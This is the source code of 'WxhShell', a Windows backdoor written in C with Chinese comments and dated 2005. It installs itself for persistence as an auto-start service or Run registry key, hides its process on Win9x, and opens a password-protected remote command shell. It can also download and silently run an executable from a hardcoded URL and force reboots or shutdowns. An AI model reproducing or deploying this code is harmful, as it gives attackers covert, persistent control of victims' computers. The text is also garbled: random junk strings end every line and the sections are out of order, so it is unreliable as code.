    closesocket(wsh); {QTfD~z^K  
    ExitThread(0); ^Qrdh0j  
    } *nluK  
    break; x SF#ys4v  
    } oA}&o_Q%  
  // 获取shell ]|( (&Y rl  
  case 's': { ouK&H|'  
    CmdShell(wsh); bT*MJ7VVm  
    closesocket(wsh); MFaK=1  
    ExitThread(0); ]<A|GY0q1  
    break; Z,qo jtw  
  } [ECSJc&i  
  // 退出 @$gvV]dA  
  case 'x': { wt[MzpRP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %F9% t  
    CloseIt(wsh); zFqH)/  
    break; &4sUi K"  
    } ej47'#EY  
  // 离开 +,9I3Dq  
  case 'q': { li8l+5d q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c~b[_J)  
    closesocket(wsh); !v<r=u  
    WSACleanup(); )?joF)  
    exit(1); l.\Fr+*ej  
    break; Cq?l>  
        } wy <m&M<Gr  
  } pMYEL  
  } Fd2Eq&:en$  
4\x'$G  
  // 提示信息 :Sk0?WU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xz4!#,z/  
} W*e6F?G  
  } 9 }iEEI  
mm'n#%\G  
  return; QK<sibDI  
} ;&37mO/T  
)}hp[*C  
// shell模块句柄 ^IOf%  
int CmdShell(SOCKET sock) *L%HH@] %_  
{ F(^vD_G  
STARTUPINFO si; oqB(l[%z2  
ZeroMemory(&si,sizeof(si)); JGX E{FT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _W/s=pCh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f ySzZ  
PROCESS_INFORMATION ProcessInfo; mEv<r6qDT  
char cmdline[]="cmd"; VmHok  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m ,,-rC  
  return 0; |3/=dG  
} YH&`+ +  
f%` =>l  
// 自身启动模式 z*>"I  
int StartFromService(void) SN(:\|f 2  
{ kq8:h  
typedef struct {'E%SIRZ)  
{ 1T!b# x4  
  DWORD ExitStatus; 2HoTj|  
  DWORD PebBaseAddress; xmb]L:4F  
  DWORD AffinityMask; IkFrzw p  
  DWORD BasePriority; c^><^LGb  
  ULONG UniqueProcessId; jxL} tS{j  
  ULONG InheritedFromUniqueProcessId; |sMRIW,P  
}   PROCESS_BASIC_INFORMATION; SGre[+m~m  
U8-#W(tRR  
PROCNTQSIP NtQueryInformationProcess; =21$U[  
|Nd!+zE$Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G)]'>m<y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K>l$Y#x}k  
F?\XhoJ3G  
  HANDLE             hProcess; 4Pe%*WTX  
  PROCESS_BASIC_INFORMATION pbi; Ij` %'/J  
0#<q]M?hW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'Xoif"  
  if(NULL == hInst ) return 0; " JFx  
%/"I.\%d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9cp-Rw<tI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Urj8v2k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xt^ldW  
c [sydl  
  if (!NtQueryInformationProcess) return 0; U BzX%:A  
t,#7F$t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jOa . h  
  if(!hProcess) return 0; ^=.R#zrc  
D+P(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F{0Z  
BaZ$pO^  
  CloseHandle(hProcess); x^Q:U1  
P}29wrIZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8om6wALXB  
if(hProcess==NULL) return 0; 7n9&@D3 :P  
t6m3lq{  
HMODULE hMod; Bha#=>4FU  
char procName[255]; '#!nK O2<  
unsigned long cbNeeded; K'%2'd  
U>w#`Sy[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;{EIx*<d  
}(A`aB_  
  CloseHandle(hProcess); y G)xsY V  
Xyy;BO:  
if(strstr(procName,"services")) return 1; // 以服务启动 n^B9Mh @  
3}(6z"r  
  return 0; // 注册表启动 1)pwR3(^Fz  
} ;>np2K<`  
GK .^Gd  
// 主模块 4~xKW2*`K  
int StartWxhshell(LPSTR lpCmdLine) k\BJs@-  
{ EudX^L5U<d  
  SOCKET wsl; g"ha1<y<  
BOOL val=TRUE; r*HbglB  
  int port=0; #%N v\ g;  
  struct sockaddr_in door; p4GhT~)l:  
Z^E>)!t  
  if(wscfg.ws_autoins) Install(); #V&98 F  
3.@"GS#"[  
port=atoi(lpCmdLine); =!)Ye:\Q  
)UbPG`x8  
if(port<=0) port=wscfg.ws_port; TwlX'iI_;  
vT~ey  
  WSADATA data; YbtsJ <w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0`c|ZzY  
VK*Dm:G0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KBE3q)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p[R4!if2  
  door.sin_family = AF_INET; Q,R>dkS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (VD Y]Q)  
  door.sin_port = htons(port); SW5V:|/  
NIgqdEu1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2t 6m#  
closesocket(wsl); DmU,}]#:  
return 1; >RJjm&M  
} 7irpD7P>  
-fpe  
  if(listen(wsl,2) == INVALID_SOCKET) { H3-(.l[!b)  
closesocket(wsl); ^Ej$o@PH  
return 1; jq%%|J.x  
} '&hz *yk  
  Wxhshell(wsl); Ak3cE_*Y/  
  WSACleanup(); j5m KJC  
!q\MXS($#u  
return 0; ]QKo>7%[  
p3r("\Za,  
} GsIVx!  
6_|iXs(&  
// 以NT服务方式启动 z^lcc7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m%zo? e  
{ 3LGX ^J<f  
DWORD   status = 0;  _U.|$pU  
  DWORD   specificError = 0xfffffff; G0#<SJ,)  
6$CwH!42F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Jq>rA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z$ ?(~ln  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {uUV(FzF6  
  serviceStatus.dwWin32ExitCode     = 0; r1<dZtb  
  serviceStatus.dwServiceSpecificExitCode = 0; i>z_6Gax*[  
  serviceStatus.dwCheckPoint       = 0; m)AF9#aT2  
  serviceStatus.dwWaitHint       = 0; !/nXEjW?  
Q^\m@7O :  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _%g L  
  if (hServiceStatusHandle==0) return; P:D;w2'Q  
8\WV.+  
status = GetLastError(); RW~!)^  
  if (status!=NO_ERROR) yY[9\!  
{ q QcQnd2K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mR["xDHD  
    serviceStatus.dwCheckPoint       = 0; ^'9.VVyz  
    serviceStatus.dwWaitHint       = 0; w*?SGW  
    serviceStatus.dwWin32ExitCode     = status; ;w/@_!~  
    serviceStatus.dwServiceSpecificExitCode = specificError; >?<S(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tp46K\}Uf  
    return; QB uX#bDV  
  } 5(zdM)Y7  
|L/EH~| O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a\m_Q{:  
  serviceStatus.dwCheckPoint       = 0; n6AA%? 5  
  serviceStatus.dwWaitHint       = 0; g(_xo\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "QD>m7  
} QC,fyw\  
vA3wn><  
// 处理NT服务事件,比如:启动、停止 O&dBLh!G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {FQ@eeU  
{ @E 8P>kq  
switch(fdwControl) @An}  
{ 0=0,ix7?#  
case SERVICE_CONTROL_STOP: \sMe2OL#z  
  serviceStatus.dwWin32ExitCode = 0; *\.8*6*$!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rJZR8bo  
  serviceStatus.dwCheckPoint   = 0; (> W \Nf  
  serviceStatus.dwWaitHint     = 0; l~]D|92  
  { l-Be5?|{_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GO?hB4 9T  
  } _aeIK  
  return; t4iD<{4  
case SERVICE_CONTROL_PAUSE: [rkw k\m*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !4-4i  
  break; lZAXDxhnT  
case SERVICE_CONTROL_CONTINUE: =oBlUE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rD+mI/_J`  
  break; VV;%q3}:  
case SERVICE_CONTROL_INTERROGATE: _ amP:h  
  break; {J1iheuS}  
}; %afN&T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hkb&]XWi[  
} 9tX+n{i  
Zg$S% 1(Q  
// 标准应用程序主函数 i;rcg d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H;R~d%!b  
{ 6hMKAk  
#f [}a  
// 获取操作系统版本 A XhP3B]  
OsIsNt=GetOsVer(); N4#D&5I",  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ngj&1Ta&[  
yR? ./M!  
  // 从命令行安装 fy]c=:EmD  
  if(strpbrk(lpCmdLine,"iI")) Install(); h!@7'Q  
ollsB3]]  
  // 下载执行文件 `Of D^Q=  
if(wscfg.ws_downexe) { SJ91(K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q^;:Kl.b  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]5K+W  
} /GVjesN  
cZJ5L>ox  
if(!OsIsNt) { O\CnKNk,  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y[l<fbh(}  
HideProc(); ^,0Lr$+  
StartWxhshell(lpCmdLine); lb$_$+@Vr  
} GE`1j'^-  
else &|j0GP&  
  if(StartFromService()) CT5s`v!s  
  // 以服务方式启动 N>Ih2>8t  
  StartServiceCtrlDispatcher(DispatchTable); 2}=@n*8*d  
else C1'y6{,@  
  // 普通方式启动 {,i-V57-h  
  StartWxhshell(lpCmdLine); 2"HTD|yy  
ZNne 8  
return 0; /vq$/  
} dQ:F5|p  
DuNindo 8  
`m#-J;la  
Vpne-PW  
=========================================== c7~R0nP  
S)g:+P  
Fgi`g{N  
}K8e(i6z  
_P=+\ [|y  
=\_gT=tZ  
" m% 3D  
HdgNy\  
#include <stdio.h> `LNhamp  
#include <string.h> "w$,`M?2  
#include <windows.h> ?m5E Xe  
#include <winsock2.h> *L9v(Kc  
#include <winsvc.h> ~|9VVeE  
#include <urlmon.h> #CPLvg#  
7UY4* j|[C  
#pragma comment (lib, "Ws2_32.lib") 'da 'WZG  
#pragma comment (lib, "urlmon.lib") O!%T<2i3  
rf-yUH]&S  
#define MAX_USER   100 // 最大客户端连接数 #M{qMJHDo  
#define BUF_SOCK   200 // sock buffer ,#FP]$FK  
#define KEY_BUFF   255 // 输入 buffer gyD;kn\CP  
i(pHJP:a:  
#define REBOOT     0   // 重启 )l$}plT4  
#define SHUTDOWN   1   // 关机 $'I&u  
D HT^.UM28  
#define DEF_PORT   5000 // 监听端口 3rB0H   
,,BP}f+l$  
#define REG_LEN     16   // 注册表键长度 =/_uk{  
#define SVC_LEN     80   // NT服务名长度 _XT'h;m  
$,2T~1tE  
// 从dll定义API Bcarx<P-p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4xEw2F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mE`qA*=?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SOq:!Qt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b~}$Ch3ymW  
9sT5l"?g  
// wxhshell配置信息 $:%E<j 4Dn  
struct WSCFG { }04mJY[  
  int ws_port;         // 监听端口 JLnv O  
  char ws_passstr[REG_LEN]; // 口令 ka!v(j{E  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,5"(m?[m  
  char ws_regname[REG_LEN]; // 注册表键名 aUzCKX%>C  
  char ws_svcname[REG_LEN]; // 服务名 bq9w@O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u1L^INo/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }rI:pp^KS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p09p/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?!&%-R6*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C&>*~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @`dg:P*[  
>xabn*Kq  
}; #kASy 2t  
_<LL@IX  
// default Wxhshell configuration @U18Dj[  
struct WSCFG wscfg={DEF_PORT, MNWI%*0LO  
    "xuhuanlingzhe", Fu_I0z  
    1, w^ut,`yW R  
    "Wxhshell", Q8%_q"C  
    "Wxhshell", t|eH'"N%o  
            "WxhShell Service", cu($mjC@T  
    "Wrsky Windows CmdShell Service", uyxYCc  
    "Please Input Your Password: ", g/JF(nkP  
  1, A$3Rbn}"  
  "http://www.wrsky.com/wxhshell.exe", IO)#O<  
  "Wxhshell.exe" o(oOB  
    }; a3<:F2=~\  
q9_ $&9  
// 消息定义模块 1f}(=Hv{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z'"7zLQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qEr?4h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \O;2^  
char *msg_ws_ext="\n\rExit."; /W$i8g  
char *msg_ws_end="\n\rQuit."; =&}_bd/]  
char *msg_ws_boot="\n\rReboot..."; 3{$7tck,  
char *msg_ws_poff="\n\rShutdown..."; N o6!gZ1  
char *msg_ws_down="\n\rSave to "; L)bMO8JH~m  
A}SGw.3  
char *msg_ws_err="\n\rErr!"; 0o=HOCL\  
char *msg_ws_ok="\n\rOK!"; ve ysW(z  
\jtA8o%n  
char ExeFile[MAX_PATH]; 6sSwSS  
int nUser = 0; <'~m1l#2  
HANDLE handles[MAX_USER]; [&n[p?  
int OsIsNt; QM F   
hr}f5Z)^v  
SERVICE_STATUS       serviceStatus; &7f8\TG|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _ \6v@  
& "&s,  
// 函数声明 w!7ApEH1  
int Install(void); Sp80xV_B  
int Uninstall(void); (c(F1=K  
int DownloadFile(char *sURL, SOCKET wsh); din,yHu~  
int Boot(int flag); ?b,>+v-w::  
void HideProc(void); &2y4k"B&)  
int GetOsVer(void); ::oFL#+  
int Wxhshell(SOCKET wsl); w'2FYe{wj  
void TalkWithClient(void *cs); J+`aj8_B  
int CmdShell(SOCKET sock); VTu#)I7A^@  
int StartFromService(void); y|}~"^+T  
int StartWxhshell(LPSTR lpCmdLine); $] We|  
#m.e9MU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v 49o$s4J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F'Y ad  
cRVL1ne  
// 数据结构和表定义 . ,^WCyvq  
SERVICE_TABLE_ENTRY DispatchTable[] = y4Jc|)  
{ I_ mus<sE  
{wscfg.ws_svcname, NTServiceMain}, IC0L&;En  
{NULL, NULL} dT|f<E/P  
}; {*7MT}{(  
Ai < beUS  
// 自我安装 |6*Bu1  
int Install(void) 3F2IL)Hn  
{ :+,;5  
  char svExeFile[MAX_PATH]; = ^NvUrK  
  HKEY key; bV8+E u  
  strcpy(svExeFile,ExeFile); %xg+UW }  
\v Ajg  
// 如果是win9x系统,修改注册表设为自启动 R@\}iyM  
if(!OsIsNt) {  l(?B0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { etr-\Cp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b# N"} -\^  
  RegCloseKey(key); fY!?rZ)$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X_TjJmc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <: v+<)K  
  RegCloseKey(key); ! I@w3`  
  return 0; KS$t  
    } _6NUtU  
  } K3?5bT_{  
} Y<xqws  
else { S/'0czDMW  
a;HAuy`M x  
// 如果是NT以上系统,安装为系统服务 E 5&Z={  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :(n<c  
if (schSCManager!=0) 2tq2   
{ =Z^5'h~  
  SC_HANDLE schService = CreateService -F~DOG%  
  ( d. wGO]"  
  schSCManager, Tc6cBe,  
  wscfg.ws_svcname, 2I-d.{  
  wscfg.ws_svcdisp, o&?c,FwN  
  SERVICE_ALL_ACCESS, <b:%o^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hb=#`  
  SERVICE_AUTO_START, E=s,-  
  SERVICE_ERROR_NORMAL, Zhq_ pus"a  
  svExeFile, +` Md5.w  
  NULL, ?F"o+]i+^  
  NULL, QH/py  
  NULL, 3f7zW3F  
  NULL, =?RI`}vw_H  
  NULL  =_dM@j  
  ); h Qn?qJy%W  
  if (schService!=0) <~ smBd  
  { p;+O/'/j  
  CloseServiceHandle(schService); N[I@}j  
  CloseServiceHandle(schSCManager); XN df  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7rjl-FUA~  
  strcat(svExeFile,wscfg.ws_svcname); :; +!ID_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \;{ ]YX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t? GH V3V  
  RegCloseKey(key); d51lTGH7Z  
  return 0; <Vhd4c  
    } G^c,i5}w  
  } v Y[s#*+  
  CloseServiceHandle(schSCManager); jrib"Bh3,  
} \OwF!~&  
} 9M96$i`P  
nGF +a[Z  
return 1; op6]"ZV-C  
} ],]Rv#`  
fkxkf^g)  
// 自我卸载 1q}L O2  
int Uninstall(void) >fBPVu\PA  
{ OIblBQ!  
  HKEY key; Lw>B:3e  
[6!k:-t+  
if(!OsIsNt) { $Rm~ VwY#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fw<"]*iu  
  RegDeleteValue(key,wscfg.ws_regname); -b-a21,m>  
  RegCloseKey(key); .zO^"mXjS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n7!T{+ge  
  RegDeleteValue(key,wscfg.ws_regname); WPNB!" E98  
  RegCloseKey(key); M)bQvjj  
  return 0; ?2<) Jw  
  } mfr aw2H  
} "DW~E\Y  
} X7*F~LFr j  
else { 46C%at M0}  
._}}@V_/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LqWiw24#  
if (schSCManager!=0) E|@C:ghG  
{ :aNjh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -"[4E0g0  
  if (schService!=0) v vErzUxN  
  { cIU2qFn[  
  if(DeleteService(schService)!=0) { Z<vz%7w  
  CloseServiceHandle(schService); j 3<Ci {3  
  CloseServiceHandle(schSCManager); ]es|%j 2  
  return 0; uMcI'=  
  } 'm`O34h  
  CloseServiceHandle(schService); 8~'cP?  
  } ~fXNj-'RW  
  CloseServiceHandle(schSCManager); `^)`J  
} lx`?n<-X  
} _^<vp  
Cd%5XD^  
return 1; "hyfo,r  
} 4:V +>Jt  
Jq_\r' YE  
// 从指定url下载文件 S@,/$L  
int DownloadFile(char *sURL, SOCKET wsh) )PN8HJAArh  
{ K?l|1jez(#  
  HRESULT hr; gfL :SP8  
char seps[]= "/"; ('z=/"(l  
char *token; 7Jb&~{DVk  
char *file; $[T ~<I  
char myURL[MAX_PATH]; $JFjR@j  
char myFILE[MAX_PATH]; 2Io| ?  
rc=E%Qv%?  
strcpy(myURL,sURL); 392V\qtS  
  token=strtok(myURL,seps); 7?fgcb3  
  while(token!=NULL) 7F"ljkN1S  
  { 48xgl1R(j  
    file=token; 7'wpPXdY1  
  token=strtok(NULL,seps);  4!!|P  
  } maa pX/J  
G@s:|oe  
GetCurrentDirectory(MAX_PATH,myFILE); c^|8qvS $  
strcat(myFILE, "\\"); Z!v,;MW  
strcat(myFILE, file); @[^ 3y C#  
  send(wsh,myFILE,strlen(myFILE),0); eu(Fhs   
send(wsh,"...",3,0); |gk*{3~y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %pZT3dcK  
  if(hr==S_OK) 3U6QYD55]]  
return 0; G"r{!IFL  
else tY_=[6?Zu  
return 1; *JOK8[Qn  
1RkN^FZOxq  
} Trirb'qO  
m-{DhJV  
// 系统电源模块 L4iWR/&  
int Boot(int flag) w hI4@#  
{ R&uPoY,f  
  HANDLE hToken; 7] y3<t  
  TOKEN_PRIVILEGES tkp; ,.Gp_BI  
X "Eqhl<t  
  if(OsIsNt) { Dk\%,[4(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M.g2y&8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X0*+]tRg  
    tkp.PrivilegeCount = 1; 2 Wcu.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; % 3#g-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v=^^Mr"Z^  
if(flag==REBOOT) { o9sQ!gptw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GVT 6cR  
  return 0; !MSa -  
} i%yKyfD  
else { n[/D>Pi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Yte*$cJ=  
  return 0; m#h`iW  
} 1XS~b-St  
  } MKtI 3vi?  
  else { 51}C`j|V3{  
if(flag==REBOOT) { *42KLns  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `_ ^I 2  
  return 0; P#pb48^-  
} ^(Gl$GC$Mu  
else { ygTfQtN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z@q1&}D!  
  return 0; )+FnwW  
} <_/etw86Z  
} /:!sn-(  
Mx}r! Q  
return 1; 0o/;cBH  
} ,$]m1|t@z  
+^:uPW^U  
// win9x进程隐藏模块 ufR|V-BWx  
void HideProc(void) d Np%=gIj  
{ hbXmIst  
>u%Bn \G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @kd$.7Y9  
  if ( hKernel != NULL ) s\.r3U&6  
  { 2 zo>`;l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c%<81Y=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); , wk}[MF  
    FreeLibrary(hKernel); n(A;:) W{  
  } +46& Zb35  
i% 0 qN  
return; Ps! \k%FUl  
} P w6l'  
^cd bM  
// 获取操作系统版本 ,ig`'U  
int GetOsVer(void) .yDR2 sW  
{ CS%ut-K<5M  
  OSVERSIONINFO winfo; ZrYRLg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /p-k'387  
  GetVersionEx(&winfo); dnANlNMk?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xfUV'=~(  
  return 1; ILG&l<!E  
  else BDp(&=ktq  
  return 0; 8U#14U5rS  
} ddYb=L+_b  
B <Jxj  
// 客户端句柄模块 @sR/l;  
int Wxhshell(SOCKET wsl) <MxA;A  
{ }2=~7&)  
  SOCKET wsh; ({4?RtYm  
  struct sockaddr_in client; s]vsD77&  
  DWORD myID; &~"N/o  
Kj"n Id)  
  while(nUser<MAX_USER) p@$92> '  
{ o/U}G,|G  
  int nSize=sizeof(client); ='#7yVVcs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \hJLa  
  if(wsh==INVALID_SOCKET) return 1; }m!T~XR</  
p E1uD4lLb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1\jj3Y'i'  
if(handles[nUser]==0) dn5t7D^ x  
  closesocket(wsh); p3%cb?G%w  
else V(G{_>>  
  nUser++; [CnoMN  
  } } BP.t$_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r*7J#M /  
SM}& @cJ  
  return 0; H2_6m5[&,  
} j"0TAYmXwu  
TIV|7nKL  
// 关闭 socket N,)rrBD  
void CloseIt(SOCKET wsh) 9dg+@FS}=  
{ `=TJw,q  
closesocket(wsh); S{cK~sZj  
nUser--; 'pAq;2AA  
ExitThread(0); (Q"s;g  
} .>5E 4^$%  
?AQR\)P  
// 客户端请求句柄 i piS=  
void TalkWithClient(void *cs) i .?l\  
{ CwF=@:*d  
uN&49o  
  SOCKET wsh=(SOCKET)cs; `)jAdad-s  
  char pwd[SVC_LEN]; $nthMx$  
  char cmd[KEY_BUFF]; mqQ//$Y   
char chr[1]; 1 RyvPP  
int i,j; o<S(ODOfi  
BBoVn^Z*R  
  while (nUser < MAX_USER) { !O,`Z`T?  
)q+;+J`>  
if(wscfg.ws_passstr) { Jl) Q #  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \p izVt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b<g9L4s  
  //ZeroMemory(pwd,KEY_BUFF); h>NuQo*  
      i=0; *fDhNmQ `  
  while(i<SVC_LEN) { ]T<RC\o  
:as2fO$?  
  // 设置超时 gdBH\K(\  
  fd_set FdRead; a '<B0'  
  struct timeval TimeOut; ][Cg8  
  FD_ZERO(&FdRead); Cp-p7g0wlg  
  FD_SET(wsh,&FdRead); p-8x>dmP(  
  TimeOut.tv_sec=8; {NIE:MXX  
  TimeOut.tv_usec=0; ~<_P jV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~ Q;qRx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~EhM"go  
r^"pLzAx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L6pw'1'  
  pwd=chr[0]; |P=-m-W  
  if(chr[0]==0xd || chr[0]==0xa) { 6[% 4 Q[  
  pwd=0; bq}o#d5p-_  
  break; ,3ivB8  
  } pu+jw<7  
  i++; vB/G#\Zqz  
    } \R#OJ=F  
 cCy*?P@  
  // 如果是非法用户,关闭 socket !vSj1w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dBp)6ok#c  
} [%6"UH r  
x_KJCU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v+2t;PJd2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2HREO@._)  
ON3~!Q)  
while(1) { >^KO5N-:4  
r7:4| 6E  
  ZeroMemory(cmd,KEY_BUFF); bu r0?q  
&qFy$`"  
      // 自动支持客户端 telnet标准   Z:%~Al:  
  j=0; <bOi}  
  while(j<KEY_BUFF) { $~.'Tnk)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >BlF< d`X  
  cmd[j]=chr[0]; n|I5ylt  
  if(chr[0]==0xa || chr[0]==0xd) { [[0u|`T/  
  cmd[j]=0; ^5*9BwH`  
  break; ||kUi=5  
  } | Xk>a7X  
  j++; odpjEeQC  
    } vZt48g  
H(j983  
  // 下载文件 0W >,RR)  
  if(strstr(cmd,"http://")) { ?,x3*'-(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }EWPLJA  
  if(DownloadFile(cmd,wsh)) L(qQ,1VY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r5aOQ  
  else *U^7MU0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]PjJy/vkjj  
  } /aD3E"Op  
  else { sM'%apM#  
*5|q_K Pt  
    switch(cmd[0]) { 4brKAqg.  
  Vq<\ix Ri  
  // 帮助 ?Q%X,!~ \:  
  case '?': { <2>Qr(bb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BO)Q$*G~JD  
    break; ify}xv  
  } W~FM^xR?p  
  // 安装 z#elwL6  
